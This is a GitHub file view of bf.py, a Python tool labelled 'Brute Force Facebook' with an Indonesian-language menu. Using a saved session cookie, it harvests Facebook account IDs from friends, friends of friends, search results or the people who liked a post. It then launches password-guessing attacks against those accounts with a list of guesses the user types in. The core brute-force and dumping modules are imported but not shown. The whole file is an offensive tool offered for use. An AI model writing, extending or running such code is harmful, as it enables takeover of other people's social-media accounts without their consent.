forked from malx-id/bf2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbf.py
93 lines (87 loc) · 3.23 KB
/
bf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
'''
Name: Brute Force
Date: 27-07-2020
Edited: 04-08-2020
Author: Pandas ID
'''
banner = '''
█▀█ ▄▀█ █▄ █ █▀▄ ▄▀█ █▀
█▀▀ █▀█ █ ▀█ █▄▀ █▀█ ▄█
-----------------------
[ Brute Force Facebook]
'''
class Main:
def __init__(self):
os.system('clear')
print(banner)
try:
files = open('cookie.log', 'r').read()
data = parserData(files)
if data == 'IC':
print(' -! Invalid Cookie')
os.system('rm cookie.log');exit()
elif data == 'CP':
print(' -! Akun Checkpoint')
os.system('rm cookie.log');exit()
else:
pass
except FileNotFoundError:
print(' -! Simpan cookie di file dengan nama: cookie.log')
exit()
self.head = 'https://free.facebook.com'
self.data = data
def menu(self):
os.system('clear')
print(banner)
print(' User : '+self.data[1])
print()
print(' 1. Brute Force Dari Teman')
print(' 2. Brute Force Dari Temannya Teman')
print(' 3. Brute Force Dari Pencarian')
print(' 4. Brute Force Dari Likes Postingan')
print(' 0. Keluar')
pil = input('\n -> ')
if pil == '1':
print('\n -> Mendapatkan ID Dari Teman')
id = Dump(self.data[0]).user('/me')
print('\n -> Contoh: sayang,doraemon,sayang123')
pasw = input(' -> Masukan Tebakan Password: ').split(',')
print('\n -> Memulai Proses Brute Force')
start(id, pasw)
elif pil == '2':
inpid = input(' -> ID: ')
profil = req.get(self.head+'/'+inpid, cookies=self.data[0])
username = re.search(r'\<title\>(.*?)\<\/title\>', profil.text).group(1)
if username == 'Halaman Tidak Ditemukan':
print(' -! Invalid ID')
exit()
else:
print('\n -> Mendapatkan ID Dari: '+username)
id = Dump(self.data[0]).user('/'+inpid)
print('\n -> Contoh: sayang,doraemon,sayang123')
pasw = input(' -> Masukan Tebakan Password: ').split(',')
print('\n -> Memulai Proses Brute Force')
start(id, pasw)
elif pil == '3':
query = input(' -> Query: ')
id = Dump(self.data[0]).search_name(query)
pasw = input('\n -> Masukan Tebakan Password: ').split(',')
print('\n -> Memulai Proses Brute Force')
start(id, pasw)
elif pil == '4':
url_post = input(' -> Url Postingan: ')
id = Dump(self.data[0]).likes(url_post)
pasw = input('\n -> Masukan Tebakan Password: ').split(',')
print('\n -> Memulai Proses Brute Force')
start(id, pasw)
elif pil == '0':
exit()
else:
self.menu()
if __name__ == '__main__':
from core.login import parserData
from core.dump import Dump
from core.brute import start
import requests as req
import os,re
Main().menu()